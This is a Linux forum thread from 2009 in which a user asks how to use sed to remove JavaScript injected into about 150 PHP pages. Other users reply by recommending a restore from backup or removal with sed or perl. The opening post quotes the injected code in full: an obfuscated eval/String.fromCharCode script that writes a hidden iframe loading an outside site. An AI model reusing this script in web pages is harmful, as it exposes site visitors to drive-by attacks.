LinuxQuestions.org
Welcome to the most active Linux Forum on the web.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 06-09-2009, 03:23 AM   #1
ianeeshps
LQ Newbie
 
Registered: Dec 2007
Posts: 1

Rep: Reputation: 0
Replace patterns from linux files.


Hi All,

is there any way to replace a long pattern including diff lines. For eg. 150 php pages infected with same java code. can we able to search and remove those same pattern. The injected code includes many special characters so is there any way by using sed or anything else.


Thank you.


Suppose the code is likely

<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,106,104,113,119,61,49,50,51,49,49,49,51,43,50,53, 59,118,97,114,32,103,104,103,52,53,61,34,107,97,114,34,59,11 8,97,114,32,119,61,34,108,97,115,116,34,59,118,97,114,32,114,101,54,61,34,46,34,59,118,97,114,32,104 ,50,104,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,10 2,114,34,59,118,97,114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105, 116,101,40,39,60,39,43,97,43,39,97,109,101,32,115,114,39,43, 39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119,43,39,39,43,114,101 ,54,43,39,39,43,104,50,104,43,39,47,39,43,39,34,32,119,105,1 00,39,43,39,116,104,61,34,49,34,32,104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39, 43,39,114,39,43,39,97,109,101,62,39,41,59,32,102,117,110,99, 116,105,111,110,32,103,103,54,51,52,53,40,41,123,118,97,114,32,97,115,51,49,49,51,61,57,43,55,53,52, 52,59,125,32,118,97,114,32,109,110,98,113,61,52,51,48,52,49, 56,50,52))</script>


normal sed and all is not working w..is there anyway to use commands to remove it

Last edited by ianeeshps; 06-10-2009 at 05:53 AM.
 
Old 06-09-2009, 03:58 AM   #2
Marko Hyvärinen
LQ Newbie
 
Registered: May 2009
Posts: 24

Rep: Reputation: 15
http://www.cyberciti.biz/faq/sed-how...es-paragraphs/

maby?

Marko
 
Old 06-10-2009, 03:06 AM   #3
Valery Reznic
ELF Statifier author
 
Registered: Oct 2007
Posts: 676

Rep: Reputation: 136Reputation: 136
Quote:
Originally Posted by ianeeshps View Post
Hi All,

is there any way to replace a long pattern including diff lines. For eg. 150 php pages infected with same java code. can we able to search and remove those same pattern. The injected code includes many special characters so is there any way by using sed or anything else.


Thank you.
Sure you have a backup of those files ?
Just restore them.
While you may remove this java code in a number of ways, may be something else was changed too.
So restore from backup is more simple (and more safe) way
 
Old 06-10-2009, 03:23 AM   #4
linusali
LQ Newbie
 
Registered: Jul 2007
Location: Dubai
Distribution: Kubuntu - 9.04
Posts: 18

Rep: Reputation: 1
Quote:
Originally Posted by Valery Reznic View Post
Sure you have a backup of those files ?
Just restore them.
While you may remove this java code in a number of ways, may be something else was changed too.
So restore from backup is more simple (and more safe) way
What if you have changed a lot of code after you inserted the Javascript code?

So I would say to use sed or perl to replace the offending code.

Regards,
 
Old 06-10-2009, 04:15 AM   #5
Valery Reznic
ELF Statifier author
 
Registered: Oct 2007
Posts: 676

Rep: Reputation: 136Reputation: 136
Quote:
Originally Posted by linusali View Post
What if you have changed a lot of code after you inserted the Javascript code?

So I would say to use sed or perl to replace the offending code.

Regards,
OK, if development is not happened directly on the website. but somewhere else
then it is safe to restore from backup.

If development happened directly on the web - then code can be added to those files after them where hacked. In this case remove injected code may be simpler or even the only option
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
linux find to find files with multiple patterns subu_s Programming 6 12-15-2010 12:15 AM
If condition for checking patterns in multiple files rattlesnakejoe Programming 5 05-07-2009 02:52 AM
Finding matching patterns in 2 files herveld Programming 25 12-01-2008 03:35 PM
Remembering patterns and printing only those patterns using sed bernie82 Programming 5 05-26-2005 05:18 PM
want to save some files but replace windows with linux ruwach Linux - Newbie 5 02-11-2003 05:43 PM


All times are GMT -5. The time now is 07:58 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration